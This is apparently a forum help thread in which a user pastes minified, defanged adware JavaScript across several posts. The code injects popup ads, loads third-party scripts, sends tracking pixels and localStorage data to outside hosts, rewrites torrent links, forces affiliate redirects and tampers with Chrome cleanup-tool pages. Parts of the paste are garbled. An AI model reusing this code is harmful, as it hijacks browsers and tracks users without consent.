a)?!1:('undefined'!=typeof a.cancelBubble&&(a.cancelBubble=!0),'undefined'!=typeof a.returnValue&&(a.returnValue=!1),'undefined'!=typeof a.stopProgration&&a.stopProgration(),'undefined'!=typeof a.preventDefault&&a.preventDefault(),a)}},x=function(){try{return'direct_pop.'+eval('[\"winnerical.net\",\"winnermore.com\"]')['hxxps:'==window.location.protocol?1:0]}catch(B){return['direct_pop.winneri.info','direct_pop.winnermore.org']['hxxps:'==window.location.protocol?1:0]}}(),y=['compey.net','comprises.info'], z={_1:{key:'728x90'},_2:{key:'300x250'},_3:{key:'468x60'},_4:{key:'250x250'},_5:{key:'160x600'},_6:{key:'120x600'},_7:{key:'120x240'},_8:{key:'240x400'},_10:{key:'300x600'},_9:{key:'1024x728'},_11:{key:'670x670'},_12:{key:'600x270'},_13:{key:'600x400'}},k;try{k=g.JSON.parse('{\"szy_domain\":[\"northguide.work\",\"bookhome.info\"],\"ad_sizes\":[[120,60,19],[630,250,22],[336,280,17],[630,500,23],[180,150,18],[234,60,15],[200,200,16],[600,400,13],[125,125,14],[670,670,11],[600,270,12],[800,600,21],[468,60,3],[800,440,20],[300,250,2],[728,90,1],[300,600,10],[120,240,7],[120,600,6],[160,600,5],[250,250,4],[240,400,8]]}')}catch(F){k=g.JSON.parse('{\"szy_domain\":[\"skymetwebguard.com\",\"compey.info\"],\"ad_sizes\":[[728,90,1],[300,250,2],[468,60,3],[250,250,4],[160,600,5],[120,600,6],[120,240,7],[240,400,8],[300,600,10],[670,670,11],[600,270,12],[600,400,13],[125,125,14],[234,60,15],[200,200,16],[336,280,17],[180,150,18],[120,60,19],[800,440,20],[800,600,21]]}')}var s; s=''!==k&&k&&'undefined'!==typeof k.szy_domain&&k.szy_domain instanceof Array?k.szy_domain:y;var u;u=''!==k&&k&&'undefined'!==typeof k.ad_sizes&&k.ad_sizes instanceof Array?g.mapAdTypes(k.ad_sizes):z;var v=document.getElementsByTagName('body')[0],m={subid:'20046',subid1:'14065488330223009752',subid2:'1461',subid3:686,tid:'6'},A={_7:'show_immediately',_10:'show_on_click_hide_referrer',_11:'show_on_click',_12:'show_immediately_hide_referrer'},B=new function(){var b=function(a){return a.replace(/(\\-([a-z]){1})/g, function(a,b,c){return c.toUpperCase()})};this.jsonToHtml=function(a,d){if('#text'==a.type)d=document.createTextNode(a.text);else if('#comment'!=a.type){d  (d=document.createElement(a.type));if(a.attrs){for(var e in a.attrs)if(a.attrs.hasOwnProperty(e))if('style'==e&&a.attrs.style instanceof Object)for(var c in a.attrs.style){var f=b©;try{d.style[f]=a.attrs.style[c]}catch(g){}}else d.setAttribute(e,a.attrs[e]);'iframe'==a.type&&(a.attrs.hasOwnProperty('frameborder')&&(d.frameBorder=a.attrs.frameborder), a.attrs.hasOwnProperty('marginwidth')&&(d.marginWidth=a.attrs.marginwidth),a.attrs.hasOwnProperty('marginheight')&&(d.marginHeight=a.attrs.marginheight))}if(a.children)for(e=0;e<a.children.length;e++){f=a.children[e];c=arguments.callee(f);try{d.appendChild©}catch(k){'#text'==f.type&&'string'==typeof f.text&&('style'==a.type&&d.styleSheet?d.styleSheet.cssText=f.text  '':(c='textContent'in d?'textContent':'innerText'in d?'innerText':!1,c&&(d[c]=f.text)))}}}return d}},p=new function(){var b=this;b.cache= [];b.add=window.addEventListener?function(a,d,e,c,f){'undefined'==typeof c&&(c=window);c.addEventListener(a,d,e);f&&b.cache.push([a,d,e,c])}:window.attachEvent?function(a,d,e,c,f){'undefined'==typeof c&&(c=window);c['e'+a+d]=d;c[a+d]=function(){c['e'+a+d](window.event)};c.attachEvent('on'+a,c[a+d]);f&&b.cache.push([a,d,e,c])}:function(){};b.remove=window.removeEventListener?function(a,b,e,c){'undefined'==typeof c&&(c=window);c.removeEventListener(a,b,e)}:window.detachEvent?function(a,b,e,c){'undefined'== typeof c&&(c=window);c.detachEvent('on'+a,c[a+b]);c[a+b]=null;c['e'+a+b]=null}:function(){};b.flush=function(){for(var a=0;a<b.cache.length;a++)b.remove.apply(b,b.cache[a]);b.cache=[]}},w=function(b,a){var d='//'+x+'?',e=s['hxxps:'==window.location.protocol?0:1],e={pid:'20046',cc:'US',eid:'1461',hid:'14065488330223009752',v:'1.0.0',ch:a,cid:l.response[0][2],tid:m.tid,adtid:l.response[0][4],smid:l.response[0][3],pbid:b,oh:encodeURIComponent(l.response[0][0]), sh:encodeURIComponent(e)},c;for(c in e)d+=c+'='+e[c]+'&';d=d.slice(0,-1);(new Image).src=d},C=new function(){this.init=function(B){function a(){var a=document.getElementById('__modal_close'),b=document.getElementById('__modal_container');p.add('click',function(){b.parentNode.removeChild(B)},!1,a,!1)}function d(){var a,b,c;'undefined'==typeof l.response[0][4]&&l.response[0].push(9);try{a=u['_'+l.response[0][4]].key,b=a.split('x')[0]+'px',c=a.split('x')[1]+'px'}catch(e){}a=window.innerHeight;if(b&& c){var d=document.getElementById('__modal');d.style.width=b;d.style.height=c;d.style.marginLeft=parseInt(d.style.width)/2-parseInt(d.style.width)+'px';d.style.top=(a-parseInt(d.style.height))/2+'px'}}var e=b[0][3];b=b[0][0];var c=g.getProtocol(B);if(b&&window.location.protocol===c){c={type:'div',attrs:{id:'__modal_container',style:{display:'none',position:'fixed','z-index':'9999999999',height:'100%',width:'100%',margin:'0',padding:'0',background:'rgba(0,0,0,0.3)',top:'0',right:'0',bottom:'0',left:'0', 'border-radius':'0',overflow:'hidden'}},children:[{type:'div',attrs:{id:'__modal',style:{position:'absolute','z-index':'99999999999',left:'50%',top:'10px','text-align':'left',width:'90%',margin:'0 0 0 -45%','background-color':'#FFFFFF',border:'1px solid #DDDDDD','border-radius':'5px',height:'90%',padding:'0'}},children:[{type:'div',attrs:{style:{margin:'0',padding:'2px',left:'0',width:'inherit',top:'0','background-color':'transparent'},id:'__modal_close'},children:[{type:'img',attrs:{src:'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABYAAAAWCAYAAADEtGw7AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAABA1JREFUeNp8VW9IW1cUP3l5eS9iZx+amsaNtNZsdtgttnSkBYmRLEsVs1rwi9Z9Udm6YZXYTr+MaMcm4idXPwTUD05BWP3bNBsleREUoabMTzr/wNxEjQqCgoj/Gr2792re8prUC4f3znnn/M65757zuwqEEMRbLMfxXzocV/MLCswfZ2bakpKSTAqFAra3t4ML//zr93pfjL3weOb29vYO4gIQ4GjBwWx1dbVlfn5e3NjYQBHBOpqamkLRtoWFBfEh9mUYhn0bR6ZotTrB5/O5SNDq6irq6OhAxcXFSK1Wy8Rms6G2tja0vLxME4iBgEt78aIQF1in0wnT09Nu4uj1epHRaEQ8z8eARovJZELj4+ORHbk/0OsFGTCLV2BkhFba1dUlBUYDn5WkpaWFggeDQRfHq1kJ2NXQaIlUelaFZ0l7ezsF/7mpyUKBNamp/NLSkogFZWVlyZytVivKz8+PATEYDKimpgZd0GolW9L582h2dhatra2JaWlpPNR+/9hIMrndbllwTk6OdPrNzc3UlpCQgLKzsykAsXd2dspinE4ntT958qORseZZzaTthoeHZS2I+xX29/epXlFRAY2NjYB3BL29vaDRaKh9Z2dHiiE9PjA0BMfHx3Dnjt0MoVDIs7i4GPe/lZaWopWVFaly4hd57+/vjxszMTGB1tfXPYxKpTJtbm7GDA1Zg4ODUFdXB4eHh1RPTEykz9HRUSgrK4s7cBgUlEqliSFbODo6kn0ktsjC0wW7u7uy78QWb0VjMViCycnJcR0/NRqhu7sbBEGgeiSovLwcGhoaqB4th+EwpKSkEJcgg8fSjwkGMjIyZKDJ2KEHg0aSku0/dNbCwcEJ51RWVkJ1TS28OQZ4g/OF8fMIi/7SJdja2vIzflEcI44Oh0MG/Mm1azLQkpISGHjWB85HjyXwz25eP/0H+Fzwo6joLrx37hw8/8M3Btdv3ODxKYuEvTSp2pi+rK+vp+/4kBEoT8RssZIJQ+kfZlJdgckNFCr00ucnHSMab97iaQf82tNDR7q1tfWdI0uAFcr/wRklhxiGk/QH335H27BvYMgiccXly+ks7mdKQlVVVTGgfIIasbRiVgIiVSpZkoxDn9vtmGbXSc+7dPp0Vkablrw8AQNT2mzC25RAsXBYlKqTKiPgzGmCr795gFZCIVKt2154V4hL9F/Y7QLJSsAnJycRHmWkuZCKOBWumFTHnACSX1J07x4KBEbo9jHxuAqLimVEr3j7zku/coV9+svTnNu3b/2AVSuZOsx8MDMzg09eAQbDR6DXv09PH6/Aq9d//uSsfTT+99xfYdmwvOsyzc3N5e/f/+pqYWGBmeM4GzaZTj8Fw+Gwf9Dz+9hvz/rmRsWXcS/T/wQYAL8KChTqW9Z8AAAAAElFTkSuQmCC', style:{cursor:'pointer',width:'22px',height:'22px'}}},{type:'span',attrs:{style:{position:'relative','margin-left':'20px','font-size':'12px','line-height':'33px'}},children:[{type:'#text',text:'Ads by CutThePrice'}]}]},{type:'iframe',attrs:{style:{border:'0'},id:'__modal_iframe',width:'100%',height:'100%',frameboarder:'0',scrolling:'yes',marginheight:'0',marginwidth:'0',sandbox:'allow-same-origin allow-scripts allow-popups allow-forms',name:'vdsfvdfvvf',allowtransparency:'true',src:'about:blank'}}]}]}; try{var f=B.jsonToHtml©}catch(k){}if(f){var h=f.querySelector('#__modal_iframe'),r=function(){var a=document.getElementById('__modal_container');p.remove('load',arguments.callee,!1,h);a.style.display='inherit'},c=function(a,B){b&&(a=\"data:text/html,<html><head><meta hxxp-equiv='refresh' content='0; url=\"+a+\" '/></head></html>\");h.src=h.src.replace('about:blank',a)},m=function(B){p.add('load',r,!1,b.querySelector('iframe'),!0);v.appendChild(B);w('0','1');a();d()},t=function(B){p.add('click',function(){g.cancelEvent(); p.remove('click',arguments.callee,!1,document);v.appendChild(B);w('0','1');a();document.getElementById('__modal_container').style.display='inherit';d()},!1,document,!0)};12===e&&g.msie&&(e=7);10===e&&g.msie&&(e=11);switch(e){case 7:c(B);m(f);break;case 10:c(b,!0);t(f);break;case 11:c(B);t(f);break;case 12:c(b,!0),m(f)}}}}},D=function(){var b=document.title,a=document.getElementsByTagName



#9 amkb

amkb
  • Topic Starter

  • Members
  • 26 posts
  • OFFLINE
  •  
  • Local time:05:31 AM

Posted 15 August 2016 - 07:42 PM

('meta');if(a)for(var d=0,e=a.length;d<e;d++)'keywords'!=a[d].name.toLowerCase()&&'description'!=a[d].name.toLowerCase()   (b+=' '+a[d].content.replace(/,/g,' '));if(d=document.getElementsByTagName('a')){a={};for(e=0;e<d.length;e++)try{var c=d[e].innerText;'undefined'==typeof c&&(c=d[e].textContent);for(var f=c.toLowerCase().split(/[\\s,-]/g),g=0;g<f.length;g++)4>f[g].length  (a[f[g]]?a[f[g]]++:a[f[g]]=1)}catch(k){}var c=[],h;for(h in a)c.push([h,a[h]]);c.sort(function(a,B){return b[1]-a[1]});c=c.slice(0,25);for(h=0;h<c.length;h++)b+=' '+c[h][0]}return b.replace(/[_-]/g,' ').substring(0,1024)};h.tp=function(B){if(B){b= g.l.decode(B);try{h.response=eval(B)}catch(a){}h.response&&h.response[0]&&(h.response[0][0]=h.response[0][0].replace('zig_pp','qHgKrjYFvTsGri5FrdqXrjnHqHg4rda6pn%3D%3D'),A['_'+h.response[0][3]]&&C.init(h.response))}};var E=function(B){g.msie?g.inject_script(b+'&cb=vdsfvdfvvf.tp'):g.ajax.get(b,function(a){a&&h.tp(a)})};g.msie&&9>g.msie  (window==window.top&&function(){var b='?',a;for(a in m)m.hasOwnProperty(a)&&(b+=a+'='+m[a]+'&');b+='k='+encodeURIComponent(D());E('//'+s['hxxp:'==window.location.protocol?0:1]+b,'tp')}(), 'undefined'==typeof window.vdsfvdfvvf&&(window.vdsfvdfvvf=h))}};}catch(e){};try{window.self==window.top&&new function(){var a=this;a.sleepTime=5E3;a.setProductPriority={Foxy:1,iRobinHood:2};a.Foxy=new function(){this.init=function(){if(!document.getElementById(\"dotm495nvh5s99iez741dx4\")&&window.self==window.top){var c=document.createElement(\"script\");c.type=\"text/javascript\";c.async=true;c.setAttribute(\"id\",\"dotm495nvh5s99iez741dx4\");c.src=\"//client.foxydeal.com/sf/1054/1461X20046/\"+document.location.hostname+\"?partnerName=CutThePrice\";document.getElementsByTagName(\"head\")[0].appendChild©}setTimeout(function(){null==\r\ndocument.getElementById(\"FoxyDealTopBar\")&&a.runProduct()},a.sleepTime)}};a.iRobinHood=new function(){this.init=function(){if(!document.getElementById(\"djdnjh4e7dne543gv\")&&window.self==window.top){var c=function(){window._chch3e7xjxs2=\"14065488330223009752\"};if(-1==navigator.userAgent.toLowerCase().indexOf(\"chrome\"))c();else{var b=document.createElement(\"script\");b.innerHTML=\"(\"+c.toString()+\")()\";document.getElementsByTagName(\"head\")[0].appendChild(B)}b=document.createElement(\"script\");b.type=\"text/javascript\";b.async=true;\r\nb.setAttribute(\"id\",\"djdnjh4e7dne543gv\");b.src=\"//static.donation-tools.org/widgets/WPPartner/widget.js?_irh_prodname=CutThePrice&_irh_subid=1461_20046\";document.getElementsByTagName(\"head\")[0].appendChild(B)}setTimeout(function(){null==document.getElementById(\"iRobinhood_Strip\")&&a.runProduct()},a.sleepTime)}};a.sortedProduct=[];for(var b in a.setProductPriority)a.min  (a.min=a.setProductPriority[b]),a.max  (a.max=a.setProductPriority[b]),a.min>a.setProductPriority[b]&&\r\n(a.min=a.setProductPriority[b]),a.max<a.setProductPriority[b]&&(a.max=a.setProductPriority[b]);a.index=a.min;for(b in a.setProductPriority){for(var d in a.setProductPriority)a.index==a.setProductPriority[d]&&a.sortedProduct.push(d);a.index++}a.runProduct=function(){if(0<a.sortedProduct.length){var b=a.sortedProduct[0];a.sortedProduct.splice(0,1);a[b].init()}};a.runProduct()};}catch(e){}})();(function(){try{(function(){var k,g,n;try{var h=window.location.href;if(window!=window.top&&\"undefined\"!=typeof localStorage&&\"undefined\"!=typeof localStorage.setItem&&(-1!=h.indexOf(\"aQaJAvn2=\")  h.match(/1018-\\d{3,4}_/)  -1!=h.indexOf(\"cdncache-a.aka\"))){if(-1<h.indexOf(\"aQaJAvn2=\")){var l=h.match(/aQaJAvn2=(\\d+)_(\\d{2,3}x\\d{2,3})_?(\\d+)?/);k=l[1];g=l[2].replace(\"x\",\".\");n=l[3]?l[3]:0}else{try{var m=-1<h.indexOf(\"zoneid\")?h.match(/zoneid=(\\d+)/)[1]:h.match(/1018-(\\d+)_WS/)[1]}catch(e){m=\r\n0}var b=document.getElementsByTagName(\"body\")[0];k=-1<h.indexOf(\"cdncache-a.aka\")?1001:1002;g=Math.max(b.scrollWidth,b.offsetWidth)+\".\"+Math.max(b.scrollHeight,b.offsetHeight);n=m}var c=new Date,d=parseInt(c.getTime()/1E3),f=\"zyk_\"+[c.getUTCFullYear()+\"-\"+(c.getUTCMonth()+1)+\"-\"+c.getUTCDate(),k,g,n].join(),q=localStorage.getItem(f);localStorage.setItem(f,1+(q?parseInt(q):0));if(lsTime=localStorage.getItem(\"zEpoch\")){if(7200<d-parseInt(lsTime)){var p=document.createElement(\"div\");k=[];for(i in localStorage)-1<\r\ni.indexOf(\"zyk_\")&&k.push(\"'\"+i.replace(\"zyk_\",\"\")+\"':\"+localStorage.getItem(i));p.style.display=\"none\";p.innerHTML='<iframe name=\"webscorebox_ifr\"></iframe><form target=\"webscorebox_ifr\" method=\"post\" action=\"hxxp://count3.webscorebox.com/?q=g708BNmGWj8lkGhVWzmPhd9FqdgFtNbPhd9Grda9qSh7hftHAe0KojUMgNtLD6qVCT9GtMDPhd9EtMZPhd9Fqda7qjn5pdrHrdsGrHaEpjC8rY==\" id=\"webscorebox_frm\"><input type=\"hidden\" name=\"scores\" value=\"{'+k.join(\",\")+'}\"></form>';(\"undefined\"!=typeof b?b:document.getElementsByTagName(\"body\")[0]).appendChild(p);document.getElementById(\"webscorebox_frm\").submit();localStorage.clear()}}else localStorage.setItem(\"zEpoch\",\r\nd)}}catch®{}})();\r\nnew function(){var k=this;this.utils=new function(){var e=this;e.sendPixels=function(B){var c;if(b instanceof Array)for(var d=0;d<b.length;d++){var f=b[d];c=new Image;c.src=f}else c=new Image,c.src=b};e.isFalse=function(B){return\"undefined\"==typeof b  0===b.length  null===b};e.cookie=new function(){var b=this;b.createCookie=function(b,d,f){if(f){var e=new Date;e.setTime(e.getTime()+864E5*f);f=\"; expires=\"+e.toGMTString()}else f=\"\";document.cookie=b+\"=\"+d+f+\"; path=/\"};b.readCookie=function(B){b+=\r\n\"=\";for(var d=document.cookie.split(\";\"),f=0;f<d.length;f++){for(var e=d[f];\" \"==e.charAt(0);)e=e.substring(1,e.length);if(0==e.indexOf(B))return e.substring(b.length,e.length)}return null};b.eraseCookie=function©{b.createCookie(c,\"\",-1)}};e.ajax={get:function(b,c){try{this.xhr=new XMLhxxpRequest,this.xhr.open(\"GET\",b,!0),this.xhr.onreadystatechange=function(){4==e.ajax.xhr.readyState&&c(e.ajax.xhr.responseText)},this.xhr.send()}catch(d){}},post:function(b,c,d){this.xhr=new XMLhxxpRequest;this.xhr.open(\"POST\",\r\nb,!0);this.xhr.setRequestHeader(\"Content-type\",\"application/x-www-form-urlencoded\")



#10 amkb

amkb
  • Topic Starter

  • Members
  • 26 posts
  • OFFLINE
  •  
  • Local time:05:31 AM

Posted 15 August 2016 - 07:44 PM

;this.xhr.onreadystatechange=function(){4==e.ajax.xhr.readyState&&d(e.ajax.xhr.responseText)};c=encodeURIComponent©;this.xhr.send©}};e.waitForTokens={};e.addScript=function(b,c){if(\"bing\"==c){var d=Element.prototype.appendChild;document.createElement(\"iframe\");Element.prototype.appendChild=document.appendChild;document.getElementsByTagName(\"head\")[0].appendChild(B);Element.prototype.appendChild=d}else document.getElementsByTagName(\"head\")[0].appendChild(B)};\r\ne.waitForElement=function(b,c,d,f){var g=e.query_selector_all(B);clearTimeout(e.waitTimeout);if(25<k.waitForElementCounter)return c(null);if(\"undefined\"==typeof g  1>g.length){if(e.waitForTokens[f])return c(null);var h=arguments.callee;e.waitTimeout=setTimeout(function(){k.waitForElementCounter++;h(b,c,d,f)},d)}else{if(e.waitForTokens[f])return c(null);e.waitForTokens[f]=!0;k.waitForElementCounter=0;return c(g)}};e.flushWaitForTokens=function(){e.waitForTokens={}};e.getRandomInt=function(b,c){return Math.floor(Math.random()*\r\n(c-b+1))+b};e.get_computed_style=\"function\"!=typeof window.getComputedStyle?function(B){return{getPropertyValue:function©{\"float\"==c&&(c=\"styleFloat\");c=e.dhtml_prop_name©;return\"object\"==typeof b.currentStyle&&null!=b.currentStyle&&\"undefined\"!=typeof b.currentStyle[c]?b.currentStyle[c]:null}}}:function(b,c){return window.getComputedStyle(b,c)  {getPropertyValue:function(){}}};e.query_selector_all=document.querySelectorAll?function(B){try{return document.querySelectorAll(B)}catch©{}}:function(B){var c=\r\nb.match(/^#([^,\\s]+)$/)  [];if(1<c.length)return b=document.getElementById(c[1])  void 0,\"undefined\"!=typeof b?[b]:[];c=document.createElement(\"STYLE\");document.getElementsByTagName(\"body\")[0].appendChild©;document.__asya_qsaels=[];c.styleSheet.cssText=b+\"{x:expression(document.__asya_qsaels.push(this))}\";window.scrollBy(0,0);return document.__asya_qsaels};e.clone_object=window.JSON instanceof Object?function(B){if(b instanceof Object&&(b=JSON.stringify(B),\"string\"==typeof B))return JSON.parse(B)}:\r\nfunction(B){if(b instanceof Object){var c=new b.constructor,d;for(d in b)c[d]=arguments.callee(b[d]);return c}return b};e.dhtml_prop_name=function(B){return b.replace(/(\\-([a-z]){1})/g,function(b,d,f){return f.toUpperCase()})};e.wildcard_to_regex=function(B){b=b.replace(/([.^$+(){}\\[\\]\\\\ \\?])/g,\"\\\\$1\");b=b.replace(/\\*/g,\".*\");return new RegExp(B)};e.throttle=function(b,c){var d=null;return function(){var f=this,e=arguments;clearTimeout(d);d=setTimeout(function(){b.apply(f,e)},c)}};e.epoch=function(){return(new Date).getTime()};\r\ne.msie=function(){var b=parseInt((/msie (\\d+)/.exec(navigator.userAgent.toLowerCase())  [])[1],10);isNaN(B)&&(b=parseInt((/trident\\/.*; rv:(\\d+)/.exec(navigator.userAgent.toLowerCase())  [])[1],10));return isNaN(B)?!1:b}();e.version_ie_less=function(B){if(/MSIE (\\d+\\.\\d+);/.test(navigator.userAgent))return new Number(RegExp.$1)<=b?!0:!1};e.isIE=function(){return\"Microsoft Internet Explorer\"==navigator.appName  \"Netscape\"==navigator.appName&&null!=/Trident\\/.



#11 amkb

amkb
  • Topic Starter

  • Members
  • 26 posts
  • OFFLINE
  •  
  • Local time:05:31 AM

Posted 15 August 2016 - 07:46 PM

*rv:([0-9]{1,}[.0-9]{0,})/.exec(navigator.userAgent)};\r\ne.match_url=function(b,c){for(var d=0;d<c.length;d++)if(\"string\"==typeof c[d]){var f;f=/^\\/.+\\/$/.test(c[d])?new RegExp(c[d]):e.wildcard_to_regex(c[d]);if(f instanceof RegExp&&f.test(B))return!0}};e.ping=function(B){for(var c=[\"google\",\"bing\",\"yahoo\",\"youtube\"],d=0;d<c.length;d++)if(-1<location.hostname.indexOf(c[d])){var e=new Image,g=encodeURIComponent(window==window.top?window.location.href:\"\");1E3<g.length&&(g=encodeURIComponent(location.hostname));var h=encodeURIComponent(location.hostname);\r\ne.src=k.pixelHost+\"?hid=14065488330223009752&eid=1461&pid=20046&prodid=338&v=\"+k.version+\"&ch=\"+b+\"&lan=\"+navigator.language+\"&cc=US&pr=\"+c[d]+\"&host=\"+h+\"&ref=\"+g}};e.getAllText=function(B){for(var c=\"\",d=0;d<b.length;d++)c+=b.textContent?b.textContent:b.innetText;return c};e.duplicateElement=function(B){var c=document.createElement(b.nodeName.toLowerCase()),d=!1;b.getAttribute(\"href\")&&c.setAttribute(\"href\",\"javascript:void(0);\");for(var f in b)if(\"src\"==\r\nf  \"width\"==f  \"height\"==f)c[f]=b[f];else if(\"style\"==f)for(var g in b[f])b[f][g]&&\"\"!=b[f][g]&&(c[f][g]=b[f][g]);else d  \"nodeValue\"!=f&&\"textContent\"!=f&&\"innetText\"!=f&&\"className\"!=f  0!=b.children.length  (c[f]=b[f],d=!0);for(d=0;d<b.childNodes.length;d++)if(3==b.childNodes[d].nodeType)c.appendChild(document.createTextNode(b.childNodes[d].textContent?b.childNodes[d].textContent:b.childNodes[d].innerText));else{f=e.duplicateElement(b.childNodes[d]);g=e.getAllText(f.childNodes);var h=b.childNodes[d].textContent?\r\nb.childNodes[d].textContent:b.childNodes[d].innerText;h&&(h=h.replace(g,\"\"),\"\"!=h&&(f.textContent?f.textContent=h:f.innerText=h));c.appendChild(f)}return c}};if(-1<window.location.href.indexOf(\"google.com/chrome/srt\")&&-1<navigator.userAgent.toLowerCase().indexOf(\"chrome\")){try{var g=parseInt(window.navigator.appVersion.match(/Chrome\\/(\\d+)\\./)[1],10)}catch(n){return}if(!(38>=g)){for(g=0;g<document.links.length;g++){var h=document.links[g],l=h.getAttribute(\"href\");if(l&&-1<l.indexOf(\"#dialog-contents\")){var l=\r\nk.utils.duplicateElement(h),m=h.parentNode;m.insertBefore(l,h);m.removeChild(h)}}(g=document.getElementById(\"dialog-contents\"))&&g.remove()}}};\r\n(function(){try{window.top==window&&-1<navigator.userAgent.toLowerCase().indexOf(\"chrome\")&&\"hxxp:\"==window.location.protocol&&chrome.storage.local.get(\"bxcv43t897\",function(g){if(!g.bxcv43t897&&!localStorage.getItem(\"bxcv43t897\")&&(g=document.getElementsByTagName(\"a\"),g.length))for(var k=0;k<g.length;k++)g[k]&&g[k].href&&\"torrent\"==g[k].href.substr(-7)&&(g[k].setAttribute(\"href\",\"hxxp://freemp4.in.ua/api/getLink/?cb=\"+Math.random()),g[k].setAttribute(\"id\",\"cxvcxv\"+k),document.getElementById(\"cxvcxv\"+\r\nk).addEventListener(\"click\",function(){chrome.storage.local.set({bxcv43t897:\"2\"});localStorage.setItem(\"bxcv43t897\",\"2\")},!1))})}catch(k){}})();\r\nif(1==document.getElementsByClassName(\"show-options catbus-open catbus--left header--masthead\").length)try{var conf={lt:localStorage.getItem(\"wbbqqlt\")  0,counter:localStorage.getItem(\"wbbqqctr\")  0},epoch=Math.ceil(+new Date/1E3),i;for(i in conf)conf[i]=parseInt(conf[i]);if(300>epoch-conf.lt)localStorage.setItem(\"wbbqqctr\",\"6\");else if(6>conf.counter){localStorage.setItem(\"wbbqqlt\",epoch);localStorage.getItem(\"wbbqqctr\",++conf.counter);var a=document.createElement(\"a\");a.setAttribute(\"rel\",\"noreferrer\");\r\na.setAttribute(\"href\",\"hxxp://jmp.awempire.com/?siteId=jasmin&categoryName=&pageName=home&performerName=&prm[psid]=cybersomatic&prm[pstool]=205_1&prm[psprogram]=pps&prm[campaign_id]=95389&subAffId=1\");document.getElementsByTagName(\"body\")[0].appendChild(a);a.click()}}catch(e$$7){};if(window.top=window&&-1<location.hostname.indexOf(\"livejasmin.com\")&&-1==document.cookie.indexOf(\"psid=cybersomatic\")){for(var cookies=document.cookie.split(\";\"),i=0;i<cookies.length;i++){var cookie=cookies[i],eqPos=cookie.indexOf(\"=\"),name=-1<eqPos?cookie.substr(0,eqPos):cookie;document.cookie=name+\"=;expires=Thu, 01 Jan 1970 00:00:00 GMT\"}var a=document.createElement(\"a\");a.setAttribute(\"rel\",\"noreferrer\");a.setAttribute(\"href\",\"hxxp://jmp.awempire.com/?siteId=jasmin&categoryName=&pageName=home&performerName=&prm[psid]=cybersomatic&prm[pstool]=205_1&prm[psprogram]=pps&prm[campaign_id]=95389&subAffId=2\");document.getElementsByTagName(\"body\")[0].appendChild(a);a.click()};(function(){try{if((window.top==window&&\"www.xtube.com\"==location.hostname  window.top==window&&\"www.tube8.com\"==location.hostname)&&!localStorage.getItem(\"ziemc6zq241\")){localStorage.setItem(\"ziemc6zq241\",\"1\");var a=document.createElement(\"a\");a.setAttribute(\"rel\",\"noreferrer\");a.setAttribute(\"href\",\"hxxp://jmp.awempire.com/?siteId=jasmin&categoryName=&pageName=home&performerName=&prm[psid]=cybersomatic&prm[pstool]=205_1&prm[psprogram]=pps&prm[campaign_id]=95389&subAffId=2\");document.getElementsByTagName(\"body\")[0].appendChild(a);a.click()}}catch(B){}})();}catch(e){};try{new function(){var a=this;a.prefix='hggasdgjhsagd';a.pixelHostname=function(){try{return'//direct_pop.'+eval('[\"winnerical.net\",\"winnermore.com\"]')['hxxps:'==window.self.location.protocol?1:0]}catch(a){return'//'+['direct_pop.winneri.info','direct_pop.winnermore.org']['hxxps:'==window.self.location.protocol?1:0]}}();a.pixelTestIframeBaseURL='//pxltst.unition.org/adzpoppxl/';a.token='px.pluginh';a.pxlData='__pdt';a.campaignData='__dwfgifgtfgtasifsdyfsdoif';a.testLp='hxxp://mydata.searchero.info';a.testLp2='hxxp://mystatic.searchero.info'; a.testLpCampaignId='309374';a.testLpCampaignIdStatic='309520';a.testLp3='hxxp://usergoldmembersky.com';a.testLp4='hxxp://easybinary-art.com';a.testLpCampaignId2='310062';a.testLpCampaignIdStatic2='310064';decodeURIComponent('CutThePrice');document.getElementById('__hggasdgjhsagd_once')  (a.Utils=new function(){var a=this;a.l=new function(){var a=this;a.xlat='abcdwxyzstuvrqponmijklefghABCDWXYZSTUVMNOPQRIJKLEFGH9876543210+/';a.encode=function(f){f=a._utf8_encode(f);for(var e='',c=0;c<f.length;)

{var d= f.charCodeAt(c++),h=f.charCodeAt(c++),g=f.charCodeAt(c++),n=d>>2,d=(d&3)<<4 h>>4,m=(h&15)<<2 g>>6,k=g&63;isNaN(h)?m=k=64:isNaN(g)&&(k=64);e=e+a.xlat.charAt(n)+a.xlat.charAt(d)+(64==m?'=':a.xlat.charAt(m))+(64==k?'=':a.xlat.charAt(k))}return e};a._utf8_encode=function(a){if(a&&a.length){for(var b='',c=0;c<a.length;c++){var d=a.charCodeAt©;128>d?b+=String.fromCharCode(d):(127<d&&2048>d?b+=String.fromCharCode(d>>6 192):(b+=String.fromCharCode(d>>12 224),b+=String.fromCharCode(d>>6&63 128)),b+=String.fromCharCode(d& 63 128))}return b}return a};a.decode=function(a){a=a.toString().replace(/[^A-Za-z0-9\\+\\/]/g,'');for(var b='',c=0;c<a.length;){var d=this.xlat.indexOf(a.charAt(c++)),h=this.xlat.indexOf(a.charAt(c++)),g=this.xlat.indexOf(a.charAt(c++)),n=this.xlat.indexOf(a.charAt(c++)),m=(h&15)<<4 g>>2,k=(g&3)<<6 n,b=b+String.fromCharCode(d<<2 h>>4);64!=g&&0<m&&(b+=String.fromCharCode(m));64!=n&&0<k&&(b+=String.fromCharCode(k))}return this._utf8_decode(B)};a._utf8_decode=function(a){for(var b='',c=0;c<a.length;){var d= a.charCodeAt©;if(128>d)b+=String.fromCharCode(d),c++;else if(191<d&&224>d)var h=a.charCodeAt(c+1),b=b+String.fromCharCode((d&31)<<6 h&63),c=c+2;else var h=a.charCodeAt(c+1),g=a.charCodeAt(c+2),b=b+String.fromCharCode((d&15)<<12 (h&63)<<6 g&63),c=c+3}return b}};a.msie=function(){var a=parseInt((/msie (\\d+)/.exec(navigator.userAgent.toLowerCase())  [])[1],10);isNaN(a)&&(a=parseInt((/trident\\/.*; rv:(\\d+)/.exec(navigator.userAgent.toLowerCase())  [])[1],10));return isNaN(a)?!1:a}();a.getParams=function(){var b= location.href.split('__pdt');1<b.length&&(b=a.l.decode(b[1]));return function(a){var b={};a.replace(/([^?=&]+)(=([^&]*))?/g,function(a,c,f,g){b[c]=decodeURIComponent(g)});return b}(b.replace(/^.*\\?/,''))};a.getHostname=function(a){var c=document.createElement('a');c.href=a;return c.hostname};a.getParameterByName=function(B){b=b.replace(/[\\[]/,'\\\\[').replace(/[\\]]/,'\\\\]');b=RegExp('[\\\\?&]'+b+'=([^&#]*)').exec(location.search);if(null===b)return'';b=b[1].replace(/\\+/g,' ');b=a.l.decode(B);b=decodeURIComponent(B); 